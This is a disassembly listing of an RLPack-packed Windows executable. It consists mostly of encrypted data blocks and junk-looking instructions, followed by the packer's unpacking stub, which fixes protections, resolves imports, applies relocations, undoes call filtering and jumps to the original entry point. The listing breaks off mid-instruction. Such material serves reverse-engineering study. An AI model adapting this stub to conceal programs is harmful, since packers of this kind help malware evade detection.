87A7B1h, 102D51F0h, 0A4DA0A4Dh, 200ED77h, 0EFF1AA16h dd 222CF4h, 0E421072Ah, 0C8B5C45Fh, 9A51907h, 0F5579647h dd 742432F0h, 4990092h, 74B3E86h, 0F71E6F06h, 154F5E89h dd 0AAEF8017h, 179DE1Dh, 0AC96083Ah, 0C46B3C6Dh, 0F3032FBBh dd 4C160185h, 0DD3090FEh, 7BFB07C4h, 509F604Eh, 1644752Fh dd 8F404A03h, 0EB07CBE4h, 50A380CCh, 0E8323BF3h, 812BE59Dh dd 0A94868BDh, 135EDCADh, 32FF8300h, 5A0F856Ah, 7A3C026Fh dd 36F2842Ch, 9883B5C0h, 21CFA11Eh, 295A2540h, 20DFC8h dd 3EC6375h, 0F4BF4A2Bh, 0ACBACA17h, 0D7055313h, 8881D07Fh dd 2CD004EBh, 0F35C00A8h, 6A378F7Ch, 9B00DFC5h, 0D08EE556h dd 0F55D9E4h, 67DCC30Bh, 0D1945D40h, 30F9591Bh, 0EB0014C1h dd 4534715Ch, 0E91D15h, 32EC11BEh, 52B7093Dh, 63392400h dd 60ACF33Fh, 34EA0089h, 628F3153h, 9400DA8Ch, 0DCCA779Fh dd 26856166h, 32A555Ah, 0AF5EE888h, 1B10BC00h, 19A65463h dd 9D0D3C47h, 374F4B00h, 0EE6EBBBFh, 41F23Dh, 507E58Fh dd 0FAF326h, 0DC184B7Fh, 4089BC4Ch, 22D8CE00h, 1B28981Eh dd 0DAEA00D9h, 0C60CC3F4h, 0BD796016h, 9A00CEF6h, 5DEB44B1h dd 18A4768Ah, 0FC94E0ACh, 2807973Ah, 2235E6F3h, 494C2C00h dd 0DCC000E4h, 250DE714h, 770EEEBDh, 6FAA3C93h, 4DA963C1h dd 4601E085h, 3B0F13F2h, 21CFA5Eh, 0F51B6DC7h, 5A2A9DA0h dd 0F9F400D5h, 142B173Ch, 7A00B9C2h, 90365865h, 41834C9h dd 6734347h, 0F103EADFh, 0C1E4CC23h, 8B70197Eh, 57AD1E27h dd 68A680AFh, 9803708Eh, 4A9F2900h, 25933CC9h, 0C49D1CF7h dd 7F2A808Fh, 0BE1AFCFh, 3F83D700h, 9E6D2BFDh, 36BE00F0h dd 94C43D60h, 560F8FB7h, 0CF8361B8h, 0CF4FFEE7h, 0D851403Eh dd 0B1AB37h, 0CEA4D9AAh, 790446DDh, 0E6EF8B00h, 1BB5AE08h dd 8356007Ah, 3F317C0Fh, 7F00CFB0h, 0CA61482Fh, 0FC2A24B7h dd 0BC795Bh, 41B9EC81h, 0A7CC0A18h, 0BAFFC700h, 3A7F0E99h dd 0E0130343h, 96BF8722h, 605DCC91h, 7E7182B2h, 231D0707h dd 6DE0190Fh, 2EFFB6F9h, 0C643E5h, 0CE877C80h, 91002EDBh dd 1C81746Bh, 1CAD83Fh, 0B1FA17E2h, 708B80D4h, 220078B3h dd 3B5104F8h, 0D23EA3h, 0E1675C14h, 5916622Bh, 0CB8AC503h dd 0B1358BADh, 8A307032h, 0EFB000F7h, 3A7B162Ch, 0ED48BF62h dd 0B619007Fh, 5BEA29Eh, 3CE90FA4h, 0CC80211Ah, 59BD0CE2h dd 0A5C44C00h, 5314BCD3h, 0A4150F10h, 0C3E1A2FCh, 0EFFE5180h dd 30BBF8E8h, 99553A00h, 0A5B2CC3Ch, 0B52A1FD5h, 66530029h dd 7FC36ACFh, 0A198F6FEh, 19A98000h, 0B5E412E3h, 564C00EFh dd 0BEE6DC9Dh, 3300E5D2h, 66318AFCh, 3B11BBFFh, 4C0042F7h dd 0B162194Ah, 0C90060CBh, 1404AF03h, 0DC1D84h, 8C7243B8h dd 2596A4F6h, 2E343100h, 0B1DD57EAh, 0C51000ECh, 89B4C41Fh dd 0C7006846h, 4A87BEEFh, 71416Ah, 6E70F22Dh, 8830C3D8h dd 0EA2B2707h, 406026B8h, 502267h, 0C26D9D8Ah, 0F7C064ACh dd 485CD7ECh, 5992005Ah, 0BA144FDh, 0DC150E2Bh, 31E02702h dd 681364F8h, 8C527D00h, 363A4FB2h, 1A9E00A3h, 58F16A2Fh dd 0BD005C27h, 19DAE4FEh, 527165h, 869F6E94h, 9B1598CCh dd 0F835833Fh, 0FE474D00h, 0F12E07E1h, 308939E9h, 6AF1100h dd 5272A7FCh, 25B1C900h, 825BB0B7h, 53910239h, 49C3BCCDh dd 6D79A981h, 69B26015h, 33CEF700h, 7626E4A7h, 812300ABh dd 0C4F65079h, 2100B7ECh, 457B4ACDh, 0FAAA78E8h, 0B925017Fh dd 8B386E92h, 58FF300Fh, 5A51BE01h, 3D5336A5h, 4C4C6F8h dd 1EB72B26h, 8F8AC090h, 0B4CAE09h, 1E900B4h, 0A998F23Fh dd 3A470049h, 377B32EDh, 6D000503h, 0A1094584h, 1F3DDB2Fh dd 41B52CF0h, 0D20B4F31h, 0F42B70BBh, 77ADC700h, 2F975A69h dd 99F2D4h, 2618DB38h, 0D50BD8FFh, 9ACA6F00h, 0E4720346h dd 45143C08h, 7C019380h, 0FB3DEEF1h, 1300EDFEh, 0A59205D3h dd 1E6BCB15h, 4037C9ABh, 0DAA4F50Dh, 8C0BE602h, 804BAE0Bh dd 7E514371h, 0FA969016h, 4CF40E7Ch, 98816C5Bh, 0F4F89957h dd 0D40070B2h, 31B3E0FAh, 15114CCh, 7DF91091h, 20E9D346h dd 860FAE23h, 2DE0AFh, 3B875E03h, 0A1BD00F4h, 9BDCEC28h dd 4A7AE70Bh, 77FC6E00h, 0F126DD3Ch, 4FCF00E0h, 0C8F05521h dd 0D600A4BFh, 0D4E8510Bh, 70F17A49h, 0D2B72647h, 1FA0368h dd 0AD8892D8h, 357FD41Eh, 0C067D100h, 7609689Bh, 9C410078h dd 6E8A23E6h, 540085ECh, 22EFF517h, 4FDF80h, 4691767Bh dd 259814CDh, 0A0093C00h, 9F63FEC9h, 0B372D9h, 7D5AE24Dh dd 0D327A285h, 0F44CAD03h, 0F804B56Fh, 0E6BC78h, 358F1AD6h dd 10FE6B19h, 0E90D921Eh, 4403015Eh, 0E8A32D70h, 76BA4Ah dd 0FEDF0C2Ah, 2951E4ACh, 31B7A000h, 0D09C47FDh, 0E8660162h dd 63FF9AC8h, 0A255D4F5h, 0B9124300h, 2C9908B4h, 665C00CDh dd 903BFBC0h dd 90151C1h, 1CAFAE3Eh, 0B3DCB90Bh, 23DA0048h, 30E3EE32h dd 0AC00151Eh, 0B59A1351h, 9B198h, 7D3D4C41h, 6ADB0F40h dd 0B2E56200h, 6DB82EE7h, 256600FAh, 0BFB47E4Bh, 0E0022CEh dd 0FED7357Ah, 0E94C958h, 0DBFF0A31h, 36CBE720h, 8701E4BDh dd 0DA1E3FD0h, 95C4EBC0h, 0C9CF007Bh, 0FA55E1A9h, 62000407h dd 94B4F739h, 3E1C14h, 0AD11DA3Fh, 0F6C07BCEh, 0AA0107E8h dd 0A674CB28h, 0E4CC6422h, 2F52019Eh, 57A5E2A3h, 0D9CDFC58h dd 2D1CFF71h, 308F68h, 0 dd 0AF127000h, 6854E001h, 201C7369h, 6C5D7061h, 749E63DDh dd 8F6E6FCFh, 0FF20BB77h, 656BA3BFh, 69160D64h, 9C386874h dd 72DF5526h, 0EF4E679Bh, 762BF95Eh, 28510CBDh, 0F1EF66CDh dd 24BE5058h, 2ED4FBFEh, 0A466F0Ah, 6A9F25F4h, 882C6747h dd 0CF94FD6Ch, 8C265E6Dh, 2E0294B0h, 54CF6763h, 616C6366h dd 72B7BF62h, 6E49079Eh, 8280D4CFh, 9602B0E0h, 0B1C4338Ch dd 9220C18h, 66018C04h, 213019E0h, 38F1018Fh, 9468999h dd 24641256h, 91884876h, 60AE299Ch, 1FD1D29Ah, 5E647C01h dd 27008006h, 2E08919h, 9EF3C800h, 0B11BBE83h, 224100B6h dd 54562378h, 7124BA0Dh, 68008094h, 0FC301F0Eh, 7A15009Eh dd 0F3FE091h, 400FD7Fh, 9B8DD53h, 0FC800888h, 38FBE094h dd 0D00090EDh, 6DC26387h, 5D00AEBBh, 1EA6E26h, 38CBC360h dd 1B07A698h, 0C2027Eh, 6ED329ADh, 0EE3B3C00h, 24B57164h dd 715EA8Dh, 50DDABF3h, 6008C7D5h, 8C3C59DBh, 93384D1Eh dd 0E4A91640h, 30AF39h, 10B65FF4h, 0B311D5Eh, 8B415207h dd 9D101E0Ah, 0CDCF7Fh, 0D7C20320h, 0E6E0B676h, 7B42C53Eh dd 0B1DCB00h, 282B4A22h, 3021079Bh, 0C1858968h, 0C43D40AEh dd 0B24C4742h, 0C5120031h, 0EBB862A7h, 67AB264Eh, 7A803934h dd 0FA268BC8h, 91001D60h, 6F1FC03Eh, 3F9D4971h, 0FB003AAEh dd 895839C5h, 7032BADh, 9F2A0E65h, 8A70B8C1h, 0B35F1C03h dd 668E41B4h, 0C876673Dh, 0A1079074h, 0D1E243C2h, 5B2AE100h dd 0F3070006h db 0A7h, 21h ; --------------------------------------------------------------------------- loc_4392B2: ; CODE XREF: .RLPack:004392DDj pand mm7, qword ptr [ecx] scasb ; --------------------------------------------------------------------------- dw 370Fh dd 0A0177B53h, 59FB5D64h, 0AB9900C8h, 84E455FDh db 81h ; --------------------------------------------------------------------------- loc_4392C9: ; CODE XREF: .RLPack:004392FAj cmpsd add dh, dl rol edx, cl loc_4392CE: ; CODE XREF: .RLPack:0043934Cj call far ptr 8B07h:7FAEFBC1h lea esp, [ebx-252E06EFh] and al, 39h loopne loc_4392B2 fisttp dword ptr [edi] mov ds:5EFC01h, al inc ebx xor [esi], ecx push 55h add [ecx-5C27D719h], dh lodsb cli sbb dh, dh loopne $+2 movsb mov ch, 94h jmp short loc_4392C9 ; --------------------------------------------------------------------------- dd 824E2h, 1A6644Eh, 59257F54h, 7BD12D00h, 0A8E0415h, 0A55D00E2h dd 0E5483BBDh, 0FF16BC7Ch, 41015B38h ; --------------------------------------------------------------------------- push ebp mov ebp, esp or ecx, 14h aam 45h or [ecx], cl push ebx push esi push edi mov al, [eax] xor bh, cl loope loc_4393A6 pop edi xor [ebx], dh fisttp dword ptr [esi] sub eax, 0FC015D89h jb short near ptr loc_439351+1 movzx eax, cl ; CODE XREF: .RLPack:00439348j push 0FFFFFFEBh clc rcr byte ptr [esi-9], cl jg short near ptr loc_43933F+1 jg short loc_439391 jl short loc_4392CE ; CODE XREF: .RLPack:loc_439351j or al, 0D3h dec eax loc_439351: ; CODE XREF: .RLPack:0043933Dj jnz short near ptr loc_43934C+1 or ss:[eax], ebp jb short loc_43936A sbb bh, ch or al, 8Bh outsb fsubr dword ptr [esi] ; CODE XREF: .RLPack:00439373j shl dword ptr [ebx+24h], 1 icebp mov eax, 870383h push 4 loc_43936A: ; CODE XREF: .RLPack:00439356j lea ecx, [eax+edi] push ds push 0D3141031h loopne near ptr loc_43935D+1 mov esp, 0C70E6CC0h adc dl, [edi+6Ah] add bh, bh adc eax, 4270B110h xor [ebp+75F48CC0h], al add eax, 580001FEh jmp short loc_4393EE ; --------------------------------------------------------------------------- loc_439391: ; CODE XREF: .RLPack:0043934Aj lea ecx, [ebp-8] push ecx mov ebp, eax or al, 0F8h call dword ptr [ecx-7Dh] retf 75D0h ; --------------------------------------------------------------------------- db 10h db 0CCh db 19h, 8, 14h db 5, 0EFh ; --------------------------------------------------------------------------- loc_4393A6: ; CODE XREF: .RLPack:00439331j xchg eax, ebp push ss cld mov [esi], al push eax call near ptr 0FB39E55h add esp, 28h mov ebp, edx clc lea edi, [edx] hlt ; --------------------------------------------------------------------------- dw 6848h dd 38538CFBh, 0C90C8F4h, 0F0458D85h, 50EC9E06h, 5A08D90Eh dd 821AB6C7h, 0E888C203h, 35880662h, 5FC700CCh, 0C3C95B5Eh dd 4300DEEh, 2CB858B0h ; --------------------------------------------------------------------------- mov ah, 0C3h loc_4393EE: ; CODE XREF: .RLPack:0043938Fj or ch, [ebx] inc ecx push eax std dec esp call near ptr 0D845F47Ah xchg eax, ecx rol byte ptr [ebx-22FC85Bh], 64h add ebx, esi jmp short loc_439411 ; --------------------------------------------------------------------------- db 62h, 0E2h, 7 dd 312E762Dh, 764C3527h db 7Dh ; --------------------------------------------------------------------------- loc_439411: ; CODE XREF: .RLPack:00439403j inc byte ptr [ecx] and al, 75h or cl, [edx] mov word ptr [ebx+1EEB7314h], fs add al, 83h db 65h test al, 14h loopne loc_439499 jp short near ptr loc_43943A+3 loc_439426: ; CODE XREF: .RLPack:00439497j aaa cmp eax, 74032518h push cs and [edx], edx adc al, 87h ; CODE XREF: .RLPack:0043948Aj add eax, 0D93DF4E9h stc or al, 4Ch push cs loc_43943A: ; CODE XREF: .RLPack:00439424j or dword ptr [ecx+111DEC7h], 0E1A1AB34h mov edi, 0A3055013h inc ebp add al, 0FEh adc [ebx-6DB39F88h], al adc al, 6Ah adc [eax+6Eh], ch pushf sbb ebp, [ebp+16480B24h] xor [eax-4157AC18h], cl mov ds:417A108h, eax test [ebp-73h], edi test esi, eax dec edx pushf push eax rcr byte ptr [ecx], 1 or [esi], bh sub [eax], dl lea eax, [ebp+eax+623EF69h] pop edi fmul qword ptr ds:0F188B43h mov esi, 775CF89Eh jz short near ptr loc_43942F+1 push cs push edx dec eax sbb edx, [ebx+ebp*8] jecxz short near ptr loc_4394A2+1 mov al, [eax+2Ah] jno short loc_439426 loc_439499: ; CODE XREF: .RLPack:00439422j mov byte ptr [ebx+21C12B4Dh], 28h mov ah, 3Fh loc_4394A2: ; CODE XREF: .RLPack:00439492j test byte ptr [edx+eax*2-42E6844Bh], 0FCh ; --------------------------------------------------------------------------- dw 25FEh dd 2E9C4C1h, 87A5F33Bh, 3E183C8h, 26EAA477h, 51D809Eh dd 0B70837B4h, 0B872B208h, 94064DA8h, 301120Dh, 8D893C48h dd 0D71FA3D8h, 0F026C9Ch, 44013284h, 88F6A6F9h, 4870FF16h dd 82A6F438h, 0A676C043h, 83C844C4h, 4506BD51h, 0AE36050Dh dd 8B303104h, 85A88840h, 683152D4h, 0B50E4844h, 80B26DA3h dd 0C084026Bh, 3C76F772h, 80CA0328h, 0B5C8E845h, 0DA32ACC8h dd 140E1CE1h, 3612E8Ah, 0DEB0CC4h, 0DD0E424h, 8725F5CEh dd 78E2B70Fh, 7D0FA239h, 6B1E906Dh, 25184DC0h, 18CC69Fh dd 54FBBF84h, 151C2852h, 8E3D5386h, 8802BC0Dh, 91304A45h dd 8295A246h, 0A594033Fh, 0D45894Ch, 0A85275E9h, 1049BE35h dd 4C0412B5h, 25E924C2h, 79EDA132h, 5B40E12Bh, 493F90F5h dd 0F9E0D1BAh, 0D1C68DE8h, 83F09E71h, 24E5017Ch, 1AA5A7ABh dd 0B236BC65h, 8A86213Ah, 0A0058872h, 8810D568h, 842278B4h dd 0C1A2F1ACh, 959E1C15h, 80C413A4h, 1BB73935h, 0B4557B28h dd 69C55C44h, 0E91FFB43h, 0F9122618h, 0BC05205Ch, 6093DAAh dd 490C7B04h, 0C84914F3h, 0E4965C1Eh, 10CC4232h, 14E4406Ah dd 19BCA2C9h, 6D162474h, 0CE4C591h, 24FEF405h, 1506448Eh dd 0C4ABCC20h, 0B49F438Ah, 86A1630h, 1FB1C2E5h, 49C70A1Ch dd 261B9A8Bh, 0A4A9C933h, 83D04E98h, 3300C97Dh, 0F7AEF2C0h dd 0FBF92BD1h, 0A22D63D6h, 202F6DFAh, 0FC9C8051h, 52178AFEh dd 9C081026h, 0C4A62301h, 0F1E40A10h, 4A993871h, 63E4160Eh dd 29EC224Ah, 0EE2E14EBh, 0DEC5AB9h, 0E8732DAh, 322408C2h dd 1690B010h, 2532B89Dh, 8EC18027h, 11BBE274h, 283C3B49h dd 0B52494C0h, 18652CC4h, 35059A34h, 25612FEBh, 0D760503h dd 0A0F3F829h, 0A5407106h, 3BCB6831h, 49CF3847h, 404A288h dd 0D30C3DE4h, 892BA08Dh, 2BAEAE08h, 34D304C0h, 70F643Bh dd 0DA2FE909h, 14C058FEh, 0E9098954h, 0A72972FBh, 1C968917h dd 3D831213h, 138F8810h, 354571B1h, 71621013h, 402189A1h dd 26E58B17h, 0E52F505Dh, 58A84948h, 0C340AE03h, 5BE0FFA9h dd 0C31D9B3Bh, 0EB111C14h, 1DD89DDAh, 88D493D6h, 46962C31h dd 40016A0Fh, 89591475h, 6D4644Dh, 96DC0CD8h, 0F4453120h dd 0F988E410h, 4AD92CF5h, 0B23FD71Fh, 4E806E0h, 0C6F007ECh dd 2202F6C3h, 0F820F708h, 0FAF94403h, 0F3FB89h, 7D8BFC60h dd 380C8A08h, 0E8F98006h, 750A0B74h, 40063AE9h, 16089973h dd 5D1B0455h, 2B3AC010h, 0CB72030Ah, 0F983D801h, 761A8905h dd 8126BAD3h, 0C9851086h, 7B8B0CE4h, 77E21C16h, 8949CFD1h dd 8AF47500h, 4013854h, 974D284h, 0F960FA80h, 30B74285h dd 0D10CAC0Eh, 5D4ACA6Dh, 7E30B86h, 0D49DF802h, 0C529E24h dd 2092FE86h, 8392DDF9h, 8AC93319h, 384C90EAh, 0C0B6FC03h dd 0E1C1027Eh, 0CA500B08h, 9084010Ah, 0CD072BDh, 0EA831055h dd 98C23EDEh, 723974DAh, 3C1861A7h, 0F9F40D7Ch, 3409FCFh dd 2B59D1C3h, 8BD3D3CAh, 5EB22EAh, 0E0157524h, 0AECF2433h dd 5A032A79h, 0E2D30ECDh, 0EB86334Ah, 0CBFA15BBh, 558B590h dd 80180002h, 0C9FE01E1h, 88D133F6h, 2666FFDEh, 42131020h dd 7D0822FEh, 525C7DFDh, 143AD8FCh, 39500EA4h, 325540ABh dd 0FD63C9FAh, 0FC453BF8h, 0DB4D96B8h, 0D2254B6Fh, 27877A53h dd 560CE45Eh, 71B76C87h, 79F75797h, 7ED285A0h, 89531F41h dd 0EED10E55h, 0FE3BE040h, 2B740472h, 81010C1Eh, 73ECE02Ah dd 118B2300h, 3B08E6C1h, 75040251h, 1041C70Ch, 80269872h dd 500D3CBh, 89421A8Ah, 0D3CEA011h, 0EAE751C1h, 759ED0B0h dd 896E5BC4h, 39E7B90h, 8BC35DC6h, 0C03A244Ch, 56041954h dd 0C1E641B8h, 0F8F03215h, 0BEF3CC1h, 3AEAF28h, 0F73B0C71h dd 521E5273h, 2D86608h, 0E1BFF030h, 0D89E60E7h, 305FFC1h dd 8966F80Ch, 0A93D5B3Ah, 31E82C74h, 7171523Bh, 1640CAC8h dd 0D9318946h, 51D2E883h, 0D5F20B90h, 0DC6DD7E0h, 0C50066E2h dd 722B51EBh, 16F768C7h, 19B33511h, 0E0F00A43h, 51BEEC1h dd 0F7AAC62Bh, 810851B0h, 5856A0FAh, 0AE2A6573h, 50581B53h dd 2BC5B046h, 0FB10541Eh, 655BF787h, 51554AE2h, 2727A9C6h dd 589CB72Ch, 0C91F7E2Ah, 1CC116D3h, 78C2348Dh, 167390D9h dd 4C19E850h, 4F125952h, 0A9F775E8h, 109DB58h, 2BB2025Ah dd 53FC80C2h, 0DDDB3357h, 39FF001Ah, 5A14245Ch, 56277E07h dd 1087448Bh, 18C674D7h, 38125176h, 71BE3C21h, 2606141Dh dd 0E0D30005h, 3B47D80Bh, 6C4E7C6Eh, 28C384DBh, 98725B5Fh dd 408C8310h, 3B07BCCEh, 647E65D0h, 0A08EDC6h, 904EB0Ch dd 5FC4848Dh, 809075F1h, 0D88B87A1h, 0F8CB8333h, 1675F03Bh dd 91FB812Eh, 4D437D2Bh, 8D5B8636h, 0A8790146h, 0F6C3031Eh dd 62476404h, 0DBC72770h, 28EBD83Ch, 0D2DBECEh, 147DDE3Bh dd 3E26B751h, 9B5110B8h, 82EB9A38h, 62C38AC7h, 0B1C0081Eh dd 1492AD20h, 0D7109781h, 4733E8D9h, 0E88F1B1Eh, 5D187565h dd 36A0CC8h, 8D7904B0h, 70C83074h, 2226A7DEh, 265E042h dd 28720B1Ch, 84411C1Eh, 0B33ADFB2h, 0C5412B92h, 819E3008h dd 0C704C62Ah, 0B6CA6A7Ah, 10C4169Dh, 34C96C9Dh, 53F15B21h dd 14246A22h, 9F32944Dh, 255BCE4Ch, 527130Bh, 96F28B65h dd 0EC4006E2h, 18E4F714h, 5E60BD3h, 0A1240736h, 0F8B2C3CFh dd 40F00620h, 4E7DE8F4h, 4EE47536h, 0E011CF36h, 8C08D41Eh dd 19127616h, 0BF0482F7h, 0D1FE0004h, 13ABF3E9h, 0A666CC9h dd 80C11CC4h, 0DC658320h, 0D80820C3h, 0FF1274B0h, 0F2073C8Dh dd 7D31CC45h, 18D9C7D0h, 7A707E6Ch, 6475FA39h, 81DC9E07h dd 0BE08EBEEh, 788A385Ch, 0D8660AD9h, 0B1C06020h, 0B5C81FD4h dd 75A791FCh, 2C3686D9h, 27822083h, 0EF02287Dh, 462F02A5h dd 50528DE4h, 0CA50BB23h, 8FFDFC34h, 14FDC703h, 0F33EFB46h dd 3B175741h, 20905284h, 7B1E055h, 104D2A08h, 0A0148623h dd 0E8D3C31Bh, 34C1DCB0h, 5492C203h, 98E25940h, 0BCD1E3FCh dd 7AEA7930h, 0F69E0651h, 2733A3EBh, 0E36D190Ah, 6F04E303h dd 0ECAE140Dh, 0C2277406h, 2B2404A8h, 8A2CF8ECh, 0B520FA04h dd 76CEEFD4h, 0E857500Bh, 0D9B446BEh, 208A4A76h, 44901EECh dd 0C9035B20h, 0E71B503Ah, 0E68955F5h, 0CC9D2F49h, 248AE57Ch dd 0DA73EB2Eh, 4021FC14h, 145ECFAh, 805EB041h, 0B5A43E0Ch dd 54F8833Eh, 2C8AD3B6h, 86983844h, 40D12257h, 40767515h dd 0EC877898h, 75CE0711h, 0CAFB8327h, 7CE320A2h, 24481F9Dh dd 0B9F3AFEh, 0C6F8172Bh, 8A1AE5F7h, 8E31011Ch, 12886C51h dd 0A9637CE9h, 0CB0CB073h, 303CFB53h, 0EBF04E05h, 4373A62Bh dd 1CAF29C8h, 9EBF461h, 10E484BAh, 4E8585E8h, 19DAF03Eh dd 0B3065D0Dh, 0A576918h, 0A68866Ah, 0FD370834h, 0E2A752Ch dd 8D8A1DB0h, 14FD8A19h, 0C4E98744h, 92998989h, 0B6E81857h dd 0DE9D0CD9h, 0E4296985h, 0C284500Ah, 8E066486h, 0B9A33F4Fh dd 7D0404F8h, 0C203EB02h, 0F88058E0h, 0CC4D8D07h, 3FE5514Dh dd 6F6AC060h, 8DB64A06h, 439406Fh, 7A985A7Ch, 0D13FA398h dd 1E30BF9h, 0D3A82749h, 0E287Ch, 558D1D7Dh, 8B5152CCh dd 0C8612BFEh, 55E4E68h, 91D15742h, 0AE200332h, 0A1C1EE2Eh dd 28885171h, 5429FA5Fh, 8880D815h, 4A6A9644h, 852BA66Fh dd 59D3EB14h, 0D943B6EDh, 7D8E435Dh, 2D0DC1CCh, 524AC647h dd 0D1C55BAEh, 90C852Bh dd 5A220260h, 26C84F41h, 7E1DFF85h, 28C43B05h, 2ED7E172h dd 0F047E8Eh, 12885B82h, 1F2C694Dh, 0C2896F85h, 858C09Fh dd 97509697h, 0F0E44D37h, 0A060A181h, 2A02119Ch, 67F11205h dd 14B9A201h, 2C11B42Ch, 1B311B40h, 9ED673C8h, 650E8E33h dd 640314D4h, 602F0D10h, 19F97815h, 20105FE7h, 18E00E95h dd 708229DBh, 8D0E4C02h, 300A0652h, 0B0220969h, 18A671A8h dd 0C0h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha call $+5 mov ebp, [esp+24h+var_24] add esp, 4 cmp [esp+20h+arg_4], 1 jnz short loc_439D49 mov eax, [esp+20h+arg_0] mov [ebp+43Ch], eax jmp short loc_439D55 ; --------------------------------------------------------------------------- loc_439D49: ; CODE XREF: start+11j mov eax, [ebp+438h] mov [ebp+43Ch], eax loc_439D55: ; CODE XREF: start+1Dj lea esi, [ebp+460h] lea ebx, [ebp+2EBh] xor edi, edi call sub_439EBA jmp short loc_439D85 ; --------------------------------------------------------------------------- loc_439D6A: ; CODE XREF: start+5Fj mov eax, [ebp+43Ch] push dword ptr [edi+esi+4] add [esp+24h+var_24], eax push dword ptr [edi+esi] add [esp+28h+var_28], eax call ebx add esp, 8 add edi, 8 loc_439D85: ; CODE XREF: start+3Ej cmp dword ptr [edi+esi], 0 jnz short loc_439D6A cmp dword ptr [ebp+448h], 0 jz short loc_439DA2 cmp dword ptr [ebp+44Ch], 0 jz short loc_439DA2 call sub_439F5A loc_439DA2: ; CODE XREF: start+68j start+71j lea esi, [edi+esi+4] push ebx push 40h push 1000h push 0A5h push 0 call dword ptr [ebp+3D1h] mov [ebp+45Ch], eax pop ebx push dword ptr [ebp+45Ch] push esi call ebx add esp, 8 mov esi, [ebp+45Ch] mov eax, esi jmp short loc_439DD9 ; --------------------------------------------------------------------------- loc_439DD8: ; CODE XREF: start+B2j inc eax loc_439DD9: ; CODE XREF: start+ACj cmp byte ptr [eax], 1 jnz short loc_439DD8 inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax jmp loc_439E89 ; --------------------------------------------------------------------------- loc_439DF5: ; CODE XREF: start+162j push esi call dword ptr [ebp+3C9h] test eax, eax jz loc_439EB8 mov [ebp+454h], eax mov eax, esi jmp short loc_439E69 ; --------------------------------------------------------------------------- loc_439E0E: ; CODE XREF: start+13Dj start+142j mov eax, [ebp+458h] mov eax, [eax] test eax, 80000000h jz short loc_439E31 xor eax, 80000000h push eax mov eax, [ebp+458h] mov dword ptr [eax], 202020h jmp short loc_439E37 ; --------------------------------------------------------------------------- loc_439E31: ; CODE XREF: start+F1j push dword ptr [ebp+458h] loc_439E37: ; CODE XREF: start+105j push dword ptr [ebp+454h] call dword ptr [ebp+3CDh] test eax, eax jz short loc_439EB8 mov [edi], eax add edi, 4 mov eax, [ebp+458h] jmp short loc_439E55 ; --------------------------------------------------------------------------- loc_439E54: ; CODE XREF: start+12Ej inc eax loc_439E55: ; CODE XREF: start+128j cmp byte ptr [eax], 0 jnz short loc_439E54 inc eax mov [ebp+458h], eax cmp word ptr [eax+2], 8000h jz short loc_439E0E loc_439E69: ; CODE XREF: start+E2j cmp byte ptr [eax], 0 jnz short loc_439E0E jmp short loc_439E71 ; --------------------------------------------------------------------------- loc_439E70: ; CODE XREF: start+14Aj inc esi loc_439E71: ; CODE XREF: start+144j cmp byte ptr [esi], 0 jnz short loc_439E70 inc esi inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax loc_439E89: ; CODE XREF: start+C6j cmp byte ptr [esi], 1 jnz loc_439DF5 push 4000h push 0A5h push dword ptr [ebp+45Ch] call dword ptr [ebp+3D5h] call sub_439EEA call sub_439FD6 popa jmp sub_42B42C ; --------------------------------------------------------------------------- loc_439EB8: ; CODE XREF: start+D4j start+11Bj popa retn start endp ; =============== S U B R O U T I N E ======================================= sub_439EBA proc near ; CODE XREF: start+39p pusha mov eax, [ebp+43Ch] add eax, [eax+3Ch] add ax, [eax+14h] add eax, 18h mov ebx, [eax+0Ch] add ebx, [ebp+43Ch] mov ecx, [eax+8] lea eax, [ebp+434h] push eax push 40h push ecx push ebx call dword ptr [ebp+3D9h] popa retn sub_439EBA endp ; =============== S U B R O U T I N E ======================================= sub_439EEA proc near ; CODE XREF: start+17Ep pusha mov esi, [ebp+440h] or esi, esi jz short loc_439F58 mov edi, [ebp+438h] mov eax, [ebp+43Ch] cmp eax, edi jz short loc_439F58 add esi, eax jmp short loc_439F53 ; --------------------------------------------------------------------------- loc_439F09: ; CODE XREF: sub_439EEA+6Cj mov edx, [esi] mov eax, [esi+4] mov [ebp+444h], eax add [ebp+444h], esi add esi, 8 jmp short loc_439F4B ; --------------------------------------------------------------------------- loc_439F1F: ; CODE XREF: sub_439EEA+67j movzx eax, word ptr [esi] mov ebx, eax shr ebx, 0Ch mov ecx, ebx imul ebx, 1000h sub eax, ebx add eax, edx add eax, [ebp+43Ch] cmp ecx, 3 jnz short loc_439F48 sub [eax], edi mov ecx, [ebp+43Ch] add [eax], ecx loc_439F48: ; CODE XREF: sub_439EEA+52j add esi, 2 loc_439F4B: ; CODE XREF: sub_439EEA+33j cmp esi, [ebp+444h] jb short loc_439F1F loc_439F53: ; CODE XREF: sub_439EEA+1Dj cmp dword ptr [esi], 0 jnz short loc_439F09 loc_439F58: ; CODE XREF: sub_439EEA+9j ; sub_439EEA+19j popa retn sub_439EEA endp ; =============== S U B R O U T I N E ======================================= sub_439F5A proc near ; CODE XREF: start+73p pusha mov esi, [ebp+448h] add esi, [ebp+43Ch] mov edi, esi mov ecx, [ebp+44Ch] cmp dword ptr [ebp+450h], 0 jz short loc_439FAC jmp short loc_439FA5 ; --------------------------------------------------------------------------- loc_439F7A: ; CODE XREF: sub_439F5A+4Ej cmp byte ptr [esi], 0E8h jz short loc_439F84 cmp byte ptr [esi], 0E9h jnz short loc_439FA3 loc_439F84: ; CODE XREF: sub_439F5A+23j mov eax, [esi+1] cmp al, [ebp+450h] jnz short loc_439F9D mov al, 0 bswap eax sub eax, 5 add eax, edi sub eax, esi mov [esi+1], eax loc_439F9D: ; CODE XREF: sub_439F5A+33j add esi, 4 sub ecx, 4 loc_439FA3: ; CODE XREF: sub_439F5A+28j inc esi dec ecx loc_439FA5: ; CODE XREF: sub_439F5A+1Ej cmp ecx, 0 ja short loc_439F7A jmp short loc_439FD4 ; --------------------------------------------------------------------------- loc_439FAC: ; CODE XREF: sub_439F5A+1Cj cdq jmp short loc_439FCF ; --------------------------------------------------------------------------- loc_439FAF: ; CODE XREF: sub_439F5A+78j inc edx cmp byte ptr [esi], 0E8h jz short loc_439FBA cmp byte ptr [esi], 0E9h jnz short loc_439FCD loc_439FBA: ; CODE XREF: sub_439F5A+59j mov eax, [esi+1] bswap eax sub eax, edx mov 